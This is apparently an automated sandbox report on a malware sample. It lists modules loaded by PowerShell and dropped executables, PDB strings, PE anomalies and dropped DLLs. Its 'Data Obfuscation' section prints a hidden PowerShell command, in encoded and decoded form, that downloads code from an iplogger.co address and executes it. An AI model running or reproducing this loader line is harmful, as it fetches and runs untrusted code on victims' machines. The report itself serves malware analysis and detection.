Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	Section loaded: webui.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	Section loaded: pla.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	Section loaded: tdh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	Section loaded: shdocvw.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CHM\QEYDQTRXQS\StrCmp.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CHM\QEYDQTRXQS\StrCmp.exe	Section loaded: msvbvm60.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CHM\QEYDQTRXQS\StrCmp.exe	Section loaded: vb6zz.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CHM\QEYDQTRXQS\StrCmp.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CHM\QEYDQTRXQS\StrCmp.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CHM\QEYDQTRXQS\StrCmp.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Section loaded: shdocvw.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchIndexer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: C:\Users\user\AppData\Roaming\CHM\QEYDQTRXQS\StrCmp.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0002E005-0000-0000-C000-000000000046}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: C:\projects\mahapps-metro-iconpacks\src\MahApps.Metro.IconPacks\obj\Release\MahApps.Metro.IconPacks.RemixIcon\net47\MahApps.Metro.IconPacks.RemixIcon.pdbz source: powershell.exe, 00000004.00000002.1798946627.000001FE1D2C2000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: SearchIndexer.pdb source: SearchIndexer.exe, 0000000C.00000003.2131896860.00000000008C2000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\projects\mahapps-metro-iconpacks\src\MahApps.Metro.IconPacks\obj\Release\MahApps.Metro.IconPacks.RPGAwesome\net47\MahApps.Metro.IconPacks.RPGAwesome.pdb<k source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp, MahApps.Metro.IconPacks.RPGAwesome.dll.4.dr
Source:	Binary string: C:\Users\Peter William Wagner\Downloads\WindowsAPICodePack-master\WindowsAPICodePack-master\Original\WindowsAPICodePack\Sensors\obj\Release\Microsoft.WindowsAPICodePack.Sensors.pdb source: powershell.exe, 00000004.00000002.1798946627.000001FE1C2AC000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Peter William Wagner\Downloads\WindowsAPICodePack-master\WindowsAPICodePack-master\Original\WindowsAPICodePack\ShellExtensions\obj\Release\Microsoft.WindowsAPICodePack.ShellExtensions.pdb source: powershell.exe, 00000004.00000002.1798946627.000001FE1C2FC000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\Dev\ExtendedWPFToolkit\Release\Latest\OpenSource\Generated\Src\Xceed.Wpf.Toolkit\obj\Release\Xceed.Wpf.Toolkit.pdb8 source: powershell.exe, 00000004.00000002.1798946627.000001FE1C5EE000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\projects\mahapps-metro-iconpacks\src\MahApps.Metro.IconPacks\obj\Release\MahApps.Metro.IconPacks.Zondicons\net47\MahApps.Metro.IconPacks.Zondicons.pdb source: powershell.exe, 00000004.00000002.1798946627.000001FE1D811000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdbSHA256 source: powershell.exe, 00000004.00000002.1798946627.000001FE1C437000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\projects\mahapps-metro-iconpacks\src\MahApps.Metro.IconPacks\obj\Release\MahApps.Metro.IconPacks.RPGAwesome\net47\MahApps.Metro.IconPacks.RPGAwesome.pdb source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp, MahApps.Metro.IconPacks.RPGAwesome.dll.4.dr
Source:	Binary string: C:\Users\Peter William Wagner\Downloads\WindowsAPICodePack-master\WindowsAPICodePack-master\Original\WindowsAPICodePack\Shell\obj\Release\Microsoft.WindowsAPICodePack.Shell.pdb source: powershell.exe, 00000004.00000002.1798946627.000001FE1C2FC000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: /_/artifacts/obj/System.CodeDom/net461-Release/System.CodeDom.pdb source: powershell.exe, 00000004.00000002.1798946627.000001FE1C568000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1798946627.000001FE1C5D8000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdb source: powershell.exe, 00000004.00000002.1798946627.000001FE1C437000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\MaterialDesignInXamlToolkit\MaterialDesignInXamlToolkit\MaterialDesignThemes.Wpf\obj\Release\net452\MaterialDesignThemes.Wpf.pdb source: powershell.exe, 00000004.00000002.1798946627.000001FE1C0CB000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Benton Stark\Documents\Visual Studio 2017\Projects\starksoft-aspen\Starksoft.Aspen\obj\Release\starksoft.aspen.pdb source: powershell.exe, 00000004.00000002.1798946627.000001FE1C437000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1798946627.000001FE1C55E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: Set-up.exe, 00000006.00000002.1914733891.0000000003330000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000006.00000002.1911297489.0000000002FDE000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000008.00000002.2132382359.0000000004681000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000008.00000002.2132675811.0000000004B10000.00000004.00001000.00020000.00000000.sdmp, SearchIndexer.exe, 0000000C.00000002.2284959319.00000000048F0000.00000004.00001000.00020000.00000000.sdmp, SearchIndexer.exe, 0000000C.00000002.2284757744.000000000459F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\projects\mahapps-metro-iconpacks\src\MahApps.Metro.IconPacks\obj\Release\MahApps.Metro.IconPacks.Unicons\net47\MahApps.Metro.IconPacks.Unicons.pdb source: powershell.exe, 00000004.00000002.1798946627.000001FE1D5EF000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\projects\mahapps-metro-iconpacks\src\MahApps.Metro.IconPacks\obj\Release\MahApps.Metro.IconPacks.Zondicons\net47\MahApps.Metro.IconPacks.Zondicons.pdbn source: powershell.exe, 00000004.00000002.1798946627.000001FE1D811000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\projects\mahapps-metro-iconpacks\src\MahApps.Metro.IconPacks\obj\Release\MahApps.Metro.IconPacks.RemixIcon\net47\MahApps.Metro.IconPacks.RemixIcon.pdb source: powershell.exe, 00000004.00000002.1798946627.000001FE1D2C2000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\Dev\ExtendedWPFToolkit\Release\Latest\OpenSource\Generated\Src\Xceed.Wpf.AvalonDock.Themes.VS2010\obj\Release\Xceed.Wpf.AvalonDock.Themes.VS2010.pdb source: powershell.exe, 00000004.00000002.1798946627.000001FE1C5EE000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: Set-up.exe, 00000006.00000002.1914733891.0000000003330000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000006.00000002.1911297489.0000000002FDE000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000008.00000002.2132382359.0000000004681000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000008.00000002.2132675811.0000000004B10000.00000004.00001000.00020000.00000000.sdmp, SearchIndexer.exe, 0000000C.00000002.2284959319.00000000048F0000.00000004.00001000.00020000.00000000.sdmp, SearchIndexer.exe, 0000000C.00000002.2284757744.000000000459F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\Qt\WebUI2\Release\WebUI.pdb source: Set-up.exe, 00000006.00000002.1933489810.000000006CC47000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: remotepg.pdbGCTL source: more.com, 00000008.00000002.2132945738.00000000050C0000.00000004.00001000.00020000.00000000.sdmp, SearchIndexer.exe, 0000000C.00000002.2283988024.0000000000386000.00000008.00000001.01000000.00000000.sdmp
Source:	Binary string: D:\a\MaterialDesignInXamlToolkit\MaterialDesignInXamlToolkit\MaterialDesignThemes.Wpf\obj\Release\net452\MaterialDesignThemes.Wpf.pdbSHA256 source: powershell.exe, 00000004.00000002.1798946627.000001FE1C0CB000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: OnDemandConnRouteHelper.pdbUGP source: more.com, 00000008.00000002.2132945738.00000000050C0000.00000004.00001000.00020000.00000000.sdmp, SearchIndexer.exe, 0000000C.00000002.2283988024.0000000000386000.00000008.00000001.01000000.00000000.sdmp
Source:	Binary string: C:\projects\mahapps-metro-iconpacks\src\MahApps.Metro.IconPacks\obj\Release\MahApps.Metro.IconPacks.Typicons\net47\MahApps.Metro.IconPacks.Typicons.pdb source: powershell.exe, 00000004.00000002.1798946627.000001FE1D5EF000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\projects\mahapps-metro-iconpacks\src\MahApps.Metro.IconPacks\obj\Release\MahApps.Metro.IconPacks.Coolicons\net47\MahApps.Metro.IconPacks.Coolicons.pdb source: MahApps.Metro.IconPacks.Coolicons.dll.4.dr
Source:	Binary string: C:\projects\mahapps-metro-iconpacks\src\MahApps.Metro.IconPacks\obj\Release\MahApps.Metro.IconPacks.SimpleIcons\net47\MahApps.Metro.IconPacks.SimpleIcons.pdb source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\Dev\ExtendedWPFToolkit\Release\Latest\OpenSource\Generated\Src\Xceed.Wpf.AvalonDock.Themes.Metro\obj\Release\Xceed.Wpf.AvalonDock.Themes.Metro.pdb source: powershell.exe, 00000004.00000002.1798946627.000001FE1C5EE000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: /_/artifacts/obj/System.CodeDom/net461-Release/System.CodeDom.pdbSHA256 source: powershell.exe, 00000004.00000002.1798946627.000001FE1C568000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1798946627.000001FE1C5D8000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\projects\mahapps-metro-iconpacks\src\MahApps.Metro.IconPacks\obj\Release\MahApps.Metro.IconPacks.VaadinIcons\net47\MahApps.Metro.IconPacks.VaadinIcons.pdb source: powershell.exe, 00000004.00000002.1798946627.000001FE1D5EF000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\MaterialDesignInXamlToolkit\MaterialDesignInXamlToolkit\MaterialDesignColors.Wpf\obj\Release\net452\MaterialDesignColors.pdb source: powershell.exe, 00000004.00000002.1798946627.000001FE1D811000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\Dev\ExtendedWPFToolkit\Release\Latest\OpenSource\Generated\Src\Xceed.Wpf.AvalonDock.Themes.Aero\obj\Release\Xceed.Wpf.AvalonDock.Themes.Aero.pdb source: powershell.exe, 00000004.00000002.1798946627.000001FE1C5EE000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Peter William Wagner\Downloads\WindowsAPICodePack-master\WindowsAPICodePack-master\Original\WindowsAPICodePack\Core\obj\Release\Microsoft.WindowsAPICodePack.pdb source: powershell.exe, 00000004.00000002.1798946627.000001FE1C0CB000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\Dev\ExtendedWPFToolkit\Release\Latest\OpenSource\Generated\Src\Xceed.Wpf.AvalonDock.Themes.Aero\obj\Release\Xceed.Wpf.AvalonDock.Themes.Aero.pdbXh source: powershell.exe, 00000004.00000002.1798946627.000001FE1C5EE000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: onDock.Themes.VS2010\obj\Release\Xceed.Wpf.AvalonDock.Themes.VS2010.pdb source: powershell.exe, 00000004.00000002.1798946627.000001FE1C5EE000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\projects\mahapps-metro-iconpacks\src\MahApps.Metro.IconPacks\obj\Release\MahApps.Metro.IconPacks.Typicons\net47\MahApps.Metro.IconPacks.Typicons.pdbX source: powershell.exe, 00000004.00000002.1798946627.000001FE1D5EF000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Peter William Wagner\Downloads\WindowsAPICodePack-master\WindowsAPICodePack-master\Original\WindowsAPICodePack\ExtendedLinguisticServices\obj\Release\Microsoft.WindowsAPICodePack.ExtendedLinguisticServices.pdbPxjx \x_CorDllMainmscoree.dll source: powershell.exe, 00000004.00000002.1798946627.000001FE1C0CB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1798946627.000001FE1C296000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\Dev\ExtendedWPFToolkit\Release\Latest\OpenSource\Generated\Src\Xceed.Wpf.Toolkit\obj\Release\Xceed.Wpf.Toolkit.pdb source: powershell.exe, 00000004.00000002.1798946627.000001FE1C5EE000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\Dev\ExtendedWPFToolkit\Release\Latest\OpenSource\Generated\Src\Xceed.Wpf.AvalonDock\obj\Release\Xceed.Wpf.AvalonDock.pdb source: powershell.exe, 00000004.00000002.1798946627.000001FE1C5EE000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\projects\mahapps-metro-iconpacks\src\MahApps.Metro.IconPacks\obj\Release\MahApps.Metro.IconPacks.BoxIcons\net47\MahApps.Metro.IconPacks.BoxIcons.pdb source: powershell.exe, 00000004.00000002.1798946627.000001FE1C0CB000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Benton Stark\Documents\Visual Studio 2017\Projects\starksoft-aspen\Starksoft.Aspen\obj\Release\starksoft.aspen.pdb source: powershell.exe, 00000004.00000002.1798946627.000001FE1C437000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1798946627.000001FE1C55E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: SearchIndexer.pdbUGP source: SearchIndexer.exe, 0000000C.00000003.2131896860.00000000008C2000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Peter William Wagner\Downloads\WindowsAPICodePack-master\WindowsAPICodePack-master\Original\WindowsAPICodePack\ExtendedLinguisticServices\obj\Release\Microsoft.WindowsAPICodePack.ExtendedLinguisticServices.pdb source: powershell.exe, 00000004.00000002.1798946627.000001FE1C0CB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1798946627.000001FE1C296000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\projects\mahapps-metro-iconpacks\src\MahApps.Metro.IconPacks\obj\Release\MahApps.Metro.IconPacks.WeatherIcons\net47\MahApps.Metro.IconPacks.WeatherIcons.pdb source: powershell.exe, 00000004.00000002.1798946627.000001FE1D811000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: OnDemandConnRouteHelper.pdb source: more.com, 00000008.00000002.2132945738.00000000050C0000.00000004.00001000.00020000.00000000.sdmp, SearchIndexer.exe, 0000000C.00000002.2283988024.0000000000386000.00000008.00000001.01000000.00000000.sdmp
Source:	Binary string: remotepg.pdb source: more.com, 00000008.00000002.2132945738.00000000050C0000.00000004.00001000.00020000.00000000.sdmp, SearchIndexer.exe, 0000000C.00000002.2283988024.0000000000386000.00000008.00000001.01000000.00000000.sdmp
Source:	Binary string: D:\a\MaterialDesignInXamlToolkit\MaterialDesignInXamlToolkit\MaterialDesignColors.Wpf\obj\Release\net452\MaterialDesignColors.pdbSHA256 source: powershell.exe, 00000004.00000002.1798946627.000001FE1D811000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -W Hidden -eC cABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwAgAEgAaQBkAGQAZQBuACAALQBjACAAIgBpAGUAeAAgACgAaQB3AHIAIABoAHQAdABwAHMAOgAvAC8AaQBwAGwAbwBnAGcAZQByAC4AYwBvAC8AMgBoADQAQwBnADUAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACkALgBDAG8AbgB0AGUAbgB0ACIA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -W Hidden -c "iex (iwr https://iplogger.co/2h4Cg5 -UseBasicParsing).Content"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -W Hidden -eC cABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwAgAEgAaQBkAGQAZQBuACAALQBjACAAIgBpAGUAeAAgACgAaQB3AHIAIABoAHQAdABwAHMAOgAvAC8AaQBwAGwAbwBnAGcAZQByAC4AYwBvAC8AMgBoADQAQwBnADUAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACkALgBDAG8AbgB0AGUAbgB0ACIA	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -W Hidden -c "iex (iwr https://iplogger.co/2h4Cg5 -UseBasicParsing).Content"	Jump to behavior

Source: MahApps.Metro.IconPacks.BootstrapIcons.dll.4.dr

Static PE information: 0xDD614879 [Thu Sep 11 17:38:01 2087 UTC]

Source: WebUI.dll.4.dr

Static PE information: real checksum: 0x7a6eb0 should be: 0x7ac1c6

Source: WebUI.dll.4.dr

Static PE information: section name: .unwante

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFB4B2042C0 pushad ; ret	4_2_00007FFB4B2042FD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFB4B20812B push ebx; ret	4_2_00007FFB4B20816A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFB4B207563 push ebx; iretd	4_2_00007FFB4B20756A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFB4B2DC8B5 push ebp; ret	4_2_00007FFB4B2DC8B8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFB4B50E7A8 push ebp; retf	4_2_00007FFB4B50E7A9
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	Code function: 6_2_6CA76120 push ecx; ret	6_2_6CA76133
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	Code function: 6_2_6CA67B5D push ecx; ret	6_2_6CA67B70

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Xceed.Wpf.Toolkit.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.ForkAwesome.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Newtonsoft.Json.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.RPGAwesome.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.RadixIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Microsoft.WindowsAPICodePack.Shell.dll	Jump to dropped file
